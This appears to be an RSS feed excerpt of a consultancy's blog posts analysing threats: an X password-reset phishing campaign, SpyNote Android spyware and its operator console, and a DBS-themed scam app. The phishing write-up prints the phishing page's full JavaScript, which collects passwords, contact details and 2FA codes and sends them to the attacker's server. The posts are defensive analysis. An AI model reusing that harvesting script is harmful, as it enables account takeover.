script authors. In addition, we attempt to parse struct members to assist in our investigation especially when json encoding and decoding are used to communicate with the C2. A pull request has been made to the SentineLabs github repo to push these changes. However, it is still undergoing review. For readers interested in the code, the modified scripts are available in [4]. We hope that this will help others in their analysis of embedded golang malwares in shellcode.</p><h3>References</h3><p>[1] <a href="https://go.dev/wiki/cgo">https://go.dev/wiki/cgo</a></p><p>[2] <a href="https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/">https://www.sentinelone.com/labs/alphagolang-a-step-by-step-go-malware-reversing-methodology-for-ida-pro/</a></p><p>[3] <a href="https://github.com/SentineLabs/AlphaGolang">https://github.com/SentineLabs/AlphaGolang</a></p><p>[4] <a href="https://github.com/INTfinityConsulting/AlphaGolang">https://github.com/INTfinityConsulting/AlphaGolang</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a7ead622e56b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Drilling in to a PhisXing Case]]></title>
            <link>https://medium.com/@INTfinitySG/drilling-in-to-a-phisxing-case-51592b9ef482?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/51592b9ef482</guid>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[password-reset]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Tue, 16 Jul 2024 10:16:31 GMT</pubDate>
            <atom:updated>2024-07-16T10:19:38.812Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/259/1*VZdIcJ53-f32yqcs3N0LMg.png" /></figure><h3><strong>Introduction</strong></h3><p>Our team recently came across a <strong>phishing email masquerading as a password reset email from X (formerly Twitter). Utilising several techniques to trick users into giving up their X credentials, attackers dispersed this email in an attempt to take over accounts. </strong>The attackers cleverly designed the unsophisticated email to social engineer an inattentive user, overcoming basic cyber hygiene checks. In an effort to defend against this phishing campaign, we seek to share information as freely and as widely as possible. We hope this post frustrates the attackers attempts to ransack users X (and other) accounts.</p><h3><strong>The Phishing Email</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/397/1*YUpplKYP5AOIlPERb8kyWg.png" /><figcaption>Figure 1: Screenshot of the phishing email</figcaption></figure><p>This phishing campaign started with an email (of course!) sent to the recipient’s address. The message indicated that there had been a new login on his/her X account. Interestingly, the recipient recognised the X account in the email as their own, and promptly clicked on “Secure your X account here now”. The attacker had correctly matched the recipient’s email address to his/her X account. Though the mechanics of correlation are out of the scope of this writeup, there are many publicly available tools with such capability. Examining the email closer, we observe telltale signatures of phishing. The sense of urgency, created through an unknown and successful login, is the most overt. Preying on the recipient’s anxiety, attackers stack the deck in their favour. Under pressure, fewer people would check if the email was genuine.</p><p>Another sign is the email’s domain. This email originates from <em>x-security[at]login-notify.com. </em>While believable at first glance, official X password reset requests are sent from <em>info[at]x.com (as of time of writing)</em>. Looking up the domain name, we discovered a domain creation date of 22 Jun 2024; far, far too recent to have come from the actual X platform.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/1*wgdnXS6B4Z0dQIM2lQQ3kg.png" /><figcaption>Figure 2: Domain information of login-notify.com</figcaption></figure><p>The links within the email utilise “t.co”, an X link shortener , to nefariously and effectively negate mouseover checks, which users should perform to determine the veracity of links. The URL for the first link “Secure your X account here now” was <em>https[:]//t.co/cKq*******,</em> which redirects to <em>https[:]//authentications-x.com/account/begin_password_reset/</em>. Again, looking up the domain name reveals a recent creation date of 26 Apr 2024.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*edcE8luHqrmCcnAWBWlYZw.png" /><figcaption>Figure 3: Domain information of authentications-x.com</figcaption></figure><p>The URL for the second link “Review the apps” re-directed to <em>https[:]//x.com/settings/apps_and_sessions</em>, the apps and sessions section on the actual x.com website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*6iVkJhU01qvZdN2OUJNavg.png" /><figcaption>Figure 4: Destination URL of the second link</figcaption></figure><p>Having examined the email, we move on to examine the website https[:]//<em>authentications-x.com/account/ begin_password_reset/</em>.</p><h3><strong>The Website</strong></h3><p>Figures 5 and 6 below show the phishing website and the actual X password reset website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*jgGFmXvemCditwdMzvl5EA.png" /><figcaption>Figure 5: https[:]//authentications-x.com/account/begin_password_reset</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*X_sHHWp7yefJJFXM4d5CBw.png" /><figcaption>Figure 6: https[:]//twitter.com/account/begin_password_reset</figcaption></figure><p>Unless you frequently reset your account’s credentials, you are unlikely to spot differences between the real and the phishing website. Ironically, the real website might be considered more suspicious to some, given that it still asks for a “Twitter” account.</p><p>When we entered our X username, Figure 7 popped up, requesting our account’s current password and a new password. Although a website linked from an email asking for any form of credentials should raise alarm bells, the attacker made the pop-up somewhat believable by displaying the user’s actual account picture and username alongside the password fields. The attacker likely achieved this via an API script that requests the account information directly from X (Figure 8). Once a victim enters the current account password, the attacker can use those credentials to access the X account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/0*C-sq62luADMl6nI5" /><figcaption>Figure 7: Phishing website asking for current and new passwords for X account</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/0*ms8Z0wpRiAW_Rlgz" /><figcaption>Figure 8: Script to retrieve user’s X profile from X service</figcaption></figure><p>The phishing website also requests the victim’s email address, phone number (see Figure 9) and even OTP (Figure 10).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/287/0*jXqm7ht3KMNqe4jE" /><figcaption>Figure 9: Phishing website asking for email address and phone number</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/286/0*HKutnnC_mEyTrSvt" /><figcaption>Figure 10: Phishing website asking for two-factor authentication code</figcaption></figure><p>The full code block (see below) can be found in the HTTP responses from the website.</p><pre>var _TMP=false;<br>var _F=true;<br><br>var first=document.querySelector(&#39;#first&#39;);<br>var username=document.querySelector(&#39;#username&#39;);<br>var body=document.querySelector(&#39;body&#39;);<br><br>username.addEventListener(&#39;input&#39;,(e)=&gt;{<br><br> e=e || event;<br><br> if(username.value.length&gt;3)<br> {<br>  first.style.opacity=&#39;1&#39;;<br>  first.disabled=false;<br> }<br><br> else<br> {<br>  first.style.opacity=&#39;0.7&#39;;<br>  first.disabled=true;<br> }<br><br>})<br><br>first.addEventListener(&#39;click&#39;,(e)=&gt;<br>{<br> first.innerHTML=&#39;&lt;img src=&quot;https://i.gifer.com/ZZ5H.gif&quot; width=15 class=&quot;middle&quot;&gt;&#39;;<br> first.disabled=true;<br> username.disabled=true;<br> username.value=username.value.toLowerCase();<br><br> $.ajax({<br><br>  url:&#39;REQ/API.php&#39;,<br>  data:{username:username.value},<br>  method:&#39;GET&#39;,<br>  dataTYPE:&#39;json&#39;,<br>  timeout: 7000 ,<br>  error:function(err)<br><br>  {<br>   console.log(&#39;error&#39;)<br>  },success:function(scs)<br><br>  {<br>   var Data=scs.split(&#39;*&#39;);<br>   var picture=Data[0];<br>   var name=Data[1];<br>   var verified=Data[2];<br><br>   if(scs==&#39;**F&#39;)<br>   {<br>    document.querySelector(&#39;.text-normal&#39;).style.color=&#39;#c33&#39;;<br>    document.querySelector(&#39;.text-normal&#39;).innerHTML=&quot;We couldn&#39;t find your account with this information.&quot;;<br>    first.disabled=true;<br>    first.style.opacity=&#39;0.7&#39;;<br>    username.disabled=false;<br>    username.value=&#39;&#39;;<br>    first.innerHTML=&#39;Search&#39;<br><br>   }else if(picture)<br>   {<br>    document.querySelector(&#39;.forpp&#39;).style.display=&#39;block&#39;<br>    document.querySelector(&#39;.text-normal&#39;).innerHTML=&#39;Strong passwords include numbers, letters, and punctuation marks.&#39;;<br>    document.querySelector(&#39;.text-bold&#39;).innerHTML=&#39;Reset your password&#39;<br>    document.querySelector(&#39;.forname&#39;).innerHTML=name;<br>    document.querySelector(&#39;.forusername&#39;).innerHTML=&#39;@&#39;+username.value;<br>    document.querySelector(&#39;#ppgg&#39;).src=picture;<br>    first.style.display=&#39;none&#39;;<br>    username.style.display=&#39;none&#39;;<br>    document.querySelector(&#39;.forsecond&#39;).style.display=&#39;block&#39;<br>   }<br><br>   else{<br>     //nextgowithoutPPapi<br>    }<br><br>   }<br>  })<br>})<br><br>var oldpassword=document.querySelector(&#39;#oldpassword&#39;);<br>var newpassword=document.querySelector(&#39;#newpassword&#39;);<br>var newpassword2=document.querySelector(&#39;#newpassword2&#39;);<br><br>var changebtn=document.querySelector(&#39;#changebtn&#39;)<br>var changebtn2=document.querySelector(&#39;#changebtn2&#39;)<br><br>newpassword2.addEventListener(&#39;input&#39;,(e)=&gt;{<br><br> e=e||event;<br> if(oldpassword.value.length&gt;4 &amp;&amp; newpassword2.value.length&gt;5 &amp;&amp; newpassword.value.length&gt;5)<br> {<br>  changebtn.disabled=false;<br>  changebtn.style.opacity=&#39;1&#39;<br>  changebtn2.disabled=false;<br>  changebtn2.style.opacity=&#39;1&#39;<br> }<br><br> else<br> {<br>  changebtn.disabled=true;<br>  changebtn.style.opacity=&#39;0.7&#39;<br>  changebtn2.disabled=true;<br>  changebtn2.style.opacity=&#39;0.7&#39;<br> }<br><br>})<br><br>changebtn.addEventListener(&#39;click&#39;,(mx)=&gt;<br>{ <br> $.ajax({<br>  method:&#39;GET&#39;,<br>  url:&#39;REQ/SEND.php?type=first&#39;,<br>  data:{username:username.value,oldpassword:oldpassword.value,newpassword2:newpassword2.value,newpassword:newpassword.value},<br>  success:function(){},<br>  error:function(){}<br> });<br><br> changebtn.innerHTML=&#39;&lt;img src=&quot;https://i.gifer.com/ZZ5H.gif&quot; width=15 class=&quot;middle&quot;&gt;&#39;;<br> setTimeout(workbro,2500);<br> function workbro(){<br>        oldpassword.value = &#39;&#39;;<br>        newpassword2.value = &#39;&#39;;<br>        newpassword.value = &#39;&#39;;<br>        changebtn.style.display = &#39;none&#39;;<br>        changebtn2.style.display = &#39;block&#39;;<br>        changebtn2.style.opacity = &#39;1&#39;;  // Set opacity to 1<br>        changebtn2.disabled = false;  // Remove the disabled attribute<br>        document.querySelector(&#39;.text-normal&#39;).innerHTML = &#39;You have entered your current password incorrectly, please try again.&#39;;<br>        document.querySelector(&#39;.text-normal&#39;).style.color = &#39;#c33&#39;;<br>        oldpassword.style.borderColor = &#39;#c33&#39;;<br><br>        // Hide the input fields with IDs newpassword and newpassword2<br>     document.getElementById(&#39;newpassword&#39;).style.display = &#39;none&#39;;<br>     document.getElementById(&#39;newpassword2&#39;).style.display = &#39;none&#39;;<br> }<br>})<br><br>changebtn2.addEventListener(&#39;click&#39;,(mmr)=&gt;{<br><br> $.ajax({<br><br>  method:&#39;GET&#39;,<br>  url:&#39;REQ/SEND.php?type=second&#39;,<br>  data:{username:username.value,oldpassword:oldpassword.value,newpassword2:newpassword2.value,newpassword:newpassword.value},<br>  success:function(){},<br>  error:function(){}<br><br> });<br><br> changebtn2.innerHTML=&#39;&lt;img src=&quot;https://i.gifer.com/ZZ5H.gif&quot; width=15 class=&quot;middle&quot;&gt;&#39;;<br> setTimeout(Step,2400)<br> function Step(){<br>  document.querySelector(&#39;.text-normal&#39;).style.color=&#39;#222&#39;;<br>  document.querySelector(&#39;.text-normal&#39;).innerHTML=&#39;Enter your email address and telephone number to continue.&#39;<br>  document.querySelector(&#39;.text-bold&#39;).innerHTML=&#39;Reset your password&#39;;<br>  document.querySelector(&#39;.forsecond&#39;).style.display=&#39;none&#39;<br>  document.querySelector(&#39;.moreinfo&#39;).style.display=&#39;block&#39;<br> }<br>})<br><br>var email=document.querySelector(&#39;#email&#39;);<br>var phone=document.querySelector(&#39;#phone&#39;);<br>phone.addEventListener(&#39;input&#39;,(silver)=&gt;{<br><br> if(email.value.length&gt;5 &amp;&amp; phone.value.length&gt;6)<br> {<br>  morebtn.style.opacity=&#39;1&#39;;<br>  morebtn.disabled=false;<br> }<br><br> else<br><br> {<br>  morebtn.style.opacity=&#39;0.7&#39;;<br>  morebtn.disabled=true;<br> }<br>})<br><br><br><br>morebtn.addEventListener(&#39;click&#39;,(gold)=&gt;{<br><br> $.ajax({<br><br>  method:&#39;GET&#39;,<br>  url:&#39;REQ/SEND.php?type=third&#39;,<br>  data:{username:username.value,email:email.value,phone:phone.value},<br>  success:function(){},<br>  error:function(){}<br><br> });<br><br> morebtn.innerHTML=&#39;&lt;img src=&quot;https://i.gifer.com/ZZ5H.gif&quot; width=15 class=&quot;middle&quot;&gt;&#39;;<br> setTimeout(maxGOLD,2300);<br> function maxGOLD()<br><br> {<br>  document.querySelector(&#39;.text-normal&#39;).innerHTML=&#39;If you have not received any code, please enter the code of your code generator app.&#39;<br>  document.querySelector(&#39;.text-bold&#39;).innerHTML=&#39;Two-Factor Authentication&#39;;<br>  document.querySelector(&#39;.moreinfo&#39;).style.display=&#39;none&#39;<br>  document.querySelector(&#39;.fac2&#39;).style.display=&#39;block&#39;;<br> }<br>})<br><br>var fac2=document.querySelector(&#39;#fac2&#39;);<br>var fac2btn=document.querySelector(&#39;#fac2btn&#39;);<br><br>fac2.addEventListener(&#39;input&#39;,(asc)=&gt;{<br> if(fac2.value.length&gt;3)<br> {<br>  fac2btn.style.opacity=&#39;1&#39;;<br>  fac2btn.disabled=false;<br> }<br><br> else<br> {<br>  fac2btn.style.opacity=&#39;0.7&#39;;<br>  fac2btn.disabled=true;<br> }<br>})<br><br>fac2btn.addEventListener(&#39;click&#39;,(ezglobal)=&gt;<br>{ <br><br> $.ajax({<br> <br>  method:&#39;GET&#39;,<br>  url:&#39;REQ/SEND.php?type=last&#39;,<br>  data:{username:username.value,fac2code:fac2.value},<br>  success:function(){},<br>  error:function(){}<br><br> });<br><br> fac2btn.innerHTML=&#39;&lt;img src=&quot;https://i.gifer.com/ZZ5H.gif&quot; width=15 class=&quot;middle&quot;&gt;&#39;;<br> setTimeout(cookieggbro,2500);<br> function cookieggbro(){<br>  window.location.href=&#39;https://help.twitter.com/en&#39;<br> }<br>})<br><br> var csrf = &quot;&lt;redacted&gt;&quot;;<br><br>      var elements = document.querySelectorAll(&quot;*&quot;);<br>      for (var i = 0; i &lt; elements.length; i++) {<br>          elements[i].setAttribute(&quot;csrf&quot;, csrf);<br>      }</pre><h3><strong>Actual X Password Reset Process</strong></h3><p>The actual X password reset process is very different. X requires the user to verify the email address that the password reset email will be sent to (see Figure 11), which is the email address used to register for the X account. The user is then required to access this email address to get a code to enter as part of the password reset process, (see Figure 12). This helps to verify that the password reset request is a genuine request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/430/0*TfjzTrlCZJz1UO76" /><figcaption>Figure 11: X requesting to send an email containing an authentication code as part of the password reset process</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/0*Sbh0wFOm23khzo4C" /><figcaption>Figure 12: Users have to access their email address registered with X to retrieve a code as part of the X password reset process.</figcaption></figure><h3><strong>This Phishing Campaign is still Active!</strong></h3><p>As of the writing of this article, this phishing campaign is likely still active. The X account we sacrificed for this investigation has been locked out multiple times (Figure 13).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/0*zpPCh_uzxC7u8NS6" /><figcaption>Figure 13: The attackers locked our X account!</figcaption></figure><h3><strong>Takeaways from the Investigation</strong></h3><p>Phishing campaigns have existed ever since the proliferation of email. As users gain more awareness identifying phishing emails, attackers also refine their phishing tactics and techniques to make phishing emails more realistic and trick careless users. Here are our takeaways from investigating this phishing email:</p><ol><li>Stay cool and do the basic checks. While the urge to take action immediately is understandable, attackers rely on anxiety to deceive us. Take a deep breath and steady yourself. Taking that moment to perform basic phishing checks will save you from a world of pain. In this instance, checking the domain that the email originated would reveal a red flag. Mousing over the links usually helps, though in this case its effectiveness was dampened due to the link shortener used. Technologically proficient folks can consider exploring the links, as we did, in a controlled environment.</li><li>Perform the password reset from the actual site. If you are uncertain with how to proceed, it’s never a bad idea to reset your password. Take care to navigate to the reset site yourself, rather than using any links provided within the email. This way, you can be assured of a legitimate password reset.</li><li>Treat requests for credentials without authentication with the utmost suspicion. Even if you had made the initial error of clicking on the “Secure your X account here now” link, you should most certainly not type any credentials into the phishing site. Most legitimate digital service providers will not request for your credentials at all. If they do, it’s only at login or only after you have been authenticated.</li></ol><p>As we have seen, relying on a single defence mechanism against modern attacks will disappoint you. Even with something as simple as email security, the best defence is one with multiple layers. If basic checks fail you, perhaps resetting your password from the actual site may save you from danger. When attackers bypass a layer, the next kicks in to protect you.</p><p>Defence in Depth applies to more than just email security. If you would like to discuss how INTfinity can help you design a layered defence for your cybersecurity needs, do contact us at hello[at]intfinity.com.sg.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51592b9ef482" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis Series 4 — Behind the screen of a SpyNote C2 operator]]></title>
            <link>https://medium.com/@INTfinitySG/malware-analysis-series-4-behind-the-screen-of-a-spynote-c2-operator-f28d384d54e2?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/f28d384d54e2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[mobile-malware]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 08:02:26 GMT</pubDate>
            <atom:updated>2024-03-07T08:02:26.595Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Analysis Series 4 — Behind the screen of a SpyNote C2 operator</h3><h3>Introduction</h3><p>Continuing from the previous analysis of a simple SMS stealer masquerading as DBS Rewards mobile application, this article will cover on SpyNote malware family which has much more capabilities than the SMS stealer. There are multiple iterations of the SpyNote malware and a recent article by DSTA [1] covered one sample illustrating its capabilities along with the code snippets of the malware responsible for the actions that it takes. Another article by F-secure [2] covered another sample which has relatively cleaner decompiled code suggesting that it could be a earlier version of Spynote. In our analysis from Jacob’s samples, they are more similar to the ones covered by DSTA. In this article, we will not repeat the analsysis covered in the analysis by DSTA but will cover additional observations and proceed to document what a SpyNote C2 operator is able to see from a compromised device.</p><h3>DBS SpyNote workflow (c0cfb346ac0c7ea76547412e64dc5b4362092156766d661a262e8730ee372f7d)</h3><p>Upon installation and launch of the SpyNote malware, it will launch a screen requesting for Accessibility to be enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*bQiRGQeTVhPm1nwuIQLa8w.png" /><figcaption>Activity asking user to enable Accessibility Service</figcaption></figure><p>When accessibility service has been enabled for the application, it will first request permissions for the applications through the use of requestPermissions API in ActivtyCompat. This will pop up multiple permission request to the user to accept whether to allow the application to the particular permission. Since Accessibility Service has been enabled, the malware will provide an ACTION_CLICK action to allow the malware to those permissions automatically without the user’s intervention. This will essentially give the application almost full access to the phone and thus allow spying. After permissions have been granted, the malware will launch another activity to display DBS main website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNBvpxTnSfbcKtpnNRbqow.png" /><figcaption>ActivityCompat will request for permission such that the permission request will appear on the screen</figcaption></figure><p>A new socket will be created to connect to a remote server in the background. Once connected, the malware will wait for commands from the C2 server. In this particular version of SpyNote, the message format for the malware communicating with the C2 server is documented in the diagram below. Note that the message format will differ based on the version of SpyNote. The mode determines the type of C2 operation and the content will either contain the payload or exfiltrated data from the phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hJWRZlWjvLJDmKkts3vuRA.png" /><figcaption>Format of message format communicating to C2</figcaption></figure><h4>IOC</h4><p>For the samples obtained from Jacob, the following IOC can be found in the strings.xml of the unpacked apk:</p><p>grep -E &quot;\&quot;&gt;[01]{8}&lt;/string&gt;&quot;</p><p>This string is responsible for deciding whether certain features should be enabled during runtime as SpyNote is using a base template and operators can decide whether to enable such features during the building of the malware. However, due to different versions of SpyNote out there, the number of features presented to the C2 operators are actually different.</p><h3>Behind the screen of a SpyNote operator</h3><p>As an Android user, one would certainy be interested to find out what a SpyNote operator actually can get out from a compromised Android phone. In this section, we will document the features presented in the UI for SpyNote 5. A typical UI with an infected phone connecting back to the C2 will typically look like the Figure below. An infected mobile will be displayed on the UI with basic information such as</p><ol><li>Client name</li><li>Country</li><li>Flag corresponding to the country</li><li>Remote address &amp; port</li><li>Phone model</li><li>Android version and API level</li><li>Mobile screen status</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-4qN01JN0_4Ra8sQ_0ZSQ.png" /><figcaption>UI of the C2 with an infected phone</figcaption></figure><p>The capabilities of can be shown in the submenu of the infected mobile:</p><ol><li>File Manager</li><li>SMS Manager</li><li>Calls Manager</li><li>Contacts Manager</li><li>Location Manager</li><li>Account Manager</li><li>Camera Manager</li><li>Audio Recorder</li><li>Shell Terminal</li><li>Applications</li><li>Keylogger</li><li>Settings</li><li>Chat</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjtckeOJGCweJqGRnMOfjg.png" /><figcaption>Submenu of the infected phone</figcaption></figure><p>All of the above mentioned functionality with the exception of keylogger will work as long as the permissions below are allowed upon first execution of the application. This means that allowing accessibility is one part of the equation in successfully spying on a target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*YXiYl6TVcx8TbTSKQbu1Cg.png" /><figcaption>Permission requested by the SpyNote malware</figcaption></figure><h4>File Manager</h4><p>File Manager allows the operator to list the files on the phone with capabilities of a typical File Manager such as cut, copy, paste and delete files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0jvpINYJ_I_uDFYaqfj8A.png" /><figcaption>File Manager displaying files on the phone</figcaption></figure><h4>SMS Manager</h4><p>SMS Manager allows the operator to view all the SMS on the phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*OO13hbsAzxS--ZokEozrOw.png" /><figcaption>SMS manager listing all the SMS on the phone</figcaption></figure><h4>Call Manager</h4><p>The Call Manager retrieves all the entries in the call log and allows the operator to remove entries. However, it did not work for this particular version of SpyNote and the UI shows empty call logs despite having entries on the phone and that the data was seen sent to the C2 on the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*nckY058xCNm55WOXcDOLRg.png" /><figcaption>Call Manager listing down call log entries</figcaption></figure><h4>Contacts Manager</h4><p>Contacts Manager will display all the contacts stored on the phone with the ability to add and delete contacts remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*ver5yVh2Wd9j1N5JCLs2yg.png" /><figcaption>Contacts Manager listing down all the contacts saved on the phone</figcaption></figure><h4>Location Manager</h4><p>Location Manager displays the Latitude and Longitude to track the location of the phone. However, the coordinates were unable to be obtained even when the listener has started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Fu8_VGNBLTc4uToHq66eWw.png" /><figcaption>Location Manager not working even though listener has started</figcaption></figure><h4>Account Manager</h4><p>Account manager will display stored users’ online account names in Android’ Account Manager [3].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*I3ggh8GK7DN5dd7CrQd85w.png" /><figcaption>Account Manager to display names of online accounts</figcaption></figure><h3>Camera Manager</h3><p>Camera Manager allows the operator to take photo with the choice of selecting the front or back camera on the phone. Multi-capture will instruct the camera to keep on taking photo from the camera. In addition, the usual camera function such as changing flash and applying effects is also implemented. Using this function to take photo has a downside as the camera sound will be heard by the user even if the camera sound is turned off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*zI6-3DB8UOgmnIdYzohiiQ.png" /><figcaption>Camera Manager to display the output of pictures taken.</figcaption></figure><h4>Audio Recorder</h4><p>The audio recorder allows the operator to record the audio from the phone’s mic. The recording will be stored on the C2 server as a .wav file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*R07h1FFocbeLndyWGooQrQ.png" /><figcaption>Recording of audio using phone’s mic in progress</figcaption></figure><h4>Shell Terminal</h4><p>The shell terminal emulates a shell using java Runtime exec to execute arbitrary commands on the phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*OOkgtRVlYqG7ks_B5Iqayw.png" /><figcaption>Shell terminal displaying contents in /sdcard</figcaption></figure><h4>Applications</h4><p>The list of installed applications will be displayed in Applications. However, an exception was thrown by the malware and thus the list could not be populated.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*nQaclpa_S3sU9Wcmbx6tuQ.png" /><figcaption>Exception thrown when displaying list of applications</figcaption></figure><h4>Keylogger</h4><p>Operator can make use of the keylogger feature to log down the list of activities that is happening on the phone. This requires the user to grant Accessibility service permission to the mobile malware. The keylogger offers both offline and online collection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*nCBxwTXjauO7XeGdHMBBDg.png" /><figcaption>Log of activities on the phone shown</figcaption></figure><h4>Settings</h4><p>The settings menu displays detailed information about the phone. The operator can make use of the settings menu to change the phone volume and settings commonly found in Android quick settings panel. If device admin permission is granted, the operator is able to lock or factory reset the phone.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*xa2N9VoYECc_2tPNey-3hA.png" /><figcaption>Information about the phone displayed in “Phone Info” submenu</figcaption></figure><h4>Chat</h4><p>The chat functionality provides an avenue for the operator to communicate with the infected victim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*RXaSv1HKUCBVq50SfDIuug.png" /><figcaption>View of chat from the operator perspective</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHPhKsMqRrfRegNoDS14sA.png" /><figcaption>View of chat from infected phone perspective</figcaption></figure><h3>Conclusion</h3><p>From a SpyNote operator’s perspective, spying on a victim’s infected mobile will infringe on the victim’s privacy even if accessibility service is not enabled. It is important for users to know the implications of allowing certain permissions when installing unknown applications. The recent collaboration between Google and CSA [4] to prevent sideloading of mobile applications is likely to reduce the number of scam cases. Despite this, it is important to remain vigilant and be aware when installing new unknown applications as threat actors will be forced to look for new avenues to continue their operations.</p><h3>References</h3><p>[1] <a href="https://medium.com/d-classified/android-rats-the-sneaky-malware-rodent-4a3272a790ef">https://medium.com/d-classified/android-rats-the-sneaky-malware-rodent-4a3272a790ef</a></p><p>[2] <a href="https://blog.f-secure.com/take-a-note-of-spynote/">https://blog.f-secure.com/take-a-note-of-spynote/</a></p><p>[3] <a href="https://developer.android.com/reference/android/accounts/AccountManager">https://developer.android.com/reference/android/accounts/AccountManager</a></p><p>[4] <a href="https://www.channelnewsasia.com/singapore/google-android-devices-malware-scam-unverified-apps-sideloading-4102991">https://www.channelnewsasia.com/singapore/google-android-devices-malware-scam-unverified-apps-sideloading-4102991</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f28d384d54e2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware Analysis Series 3 — DBS Rewards Scam Malware]]></title>
            <link>https://medium.com/@INTfinitySG/malware-analysis-series-3-dbs-rewards-scam-malware-38676a39673a?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/38676a39673a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[scam]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Thu, 01 Feb 2024 01:09:18 GMT</pubDate>
            <atom:updated>2024-02-01T01:20:56.687Z</atom:updated>
            <content:encoded><![CDATA[<h3>Malware Analysis Series 3 — DBS Rewards Scam Malware Analysis</h3><h3>Introduction</h3><p>With the recent rise in scams leading to Singaporeans losing money due to the use of malicious android applications, our team thought it would be interesting to review some of the techniques used by the mobile malware and at the same time familiarise in ourselves in analysing android malware. The recent “Egg scam”[1], “Durian scam” [2, 3] and “Mooncake scam” [4] posted on the news are a result of victims installing a malicious APK file on their android phones. To start the analysis, we will need the malware samples which we would like to thank Jacob from Starlabs [5] who helped us to hunt for the samples related to the scams happening in Singapore. There are multiple themes from the samples collected and from the set of samples, Jacob has sorted the samples into the following themes:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fairtable.com%2Fembed%2FappVb6zRJEMe9U7ve%2FshrKDsjnEEwW7cZGN&amp;display_name=Airtable&amp;url=https%3A%2F%2Fairtable.com%2FappVb6zRJEMe9U7ve%2FshrKDsjnEEwW7cZGN&amp;image=https%3A%2F%2Fstatic.airtable.com%2Fimages%2Foembed%2Fairtable.png&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=airtable" width="800" height="533" frameborder="0" scrolling="no"><a href="https://medium.com/media/933d9f238d465def812a49fa355ba7bf/href">https://medium.com/media/933d9f238d465def812a49fa355ba7bf/href</a></iframe><p>Note that the table above is non-exhaustive and there are lots more samples out there.</p><p>Out of all the samples, all of the samples belonged to the SpyNote trojan family with the exception of the DBS Rewards campaign sample (967922d0239935a0fef73e615b025e38dfbefbb0209246f0652790d83366cc10). In this article, we will cover the DBS Rewards campaign sample in detail and leave the SpyNote analysis to the next article.</p><h3>DBS rewards scam campaign</h3><p>This campaign is not mentioned in the list of scams involving DBS [6] and without the background story, how the malware is introduced to victims remains unknown. Based on the interaction with the application, victims should be enticed to be “rewarded” with 5000 DBS Rewards after they submit their credit card information for some promotional campaign.</p><h3>Scam application workflow</h3><p>Upon installing the application, the application will appear with DBS logo as the icon. Executing the application will show a splash screen with DBS logo for a few seconds before launching another screen containing the form for the user to enter their credit card details.</p><figure><img 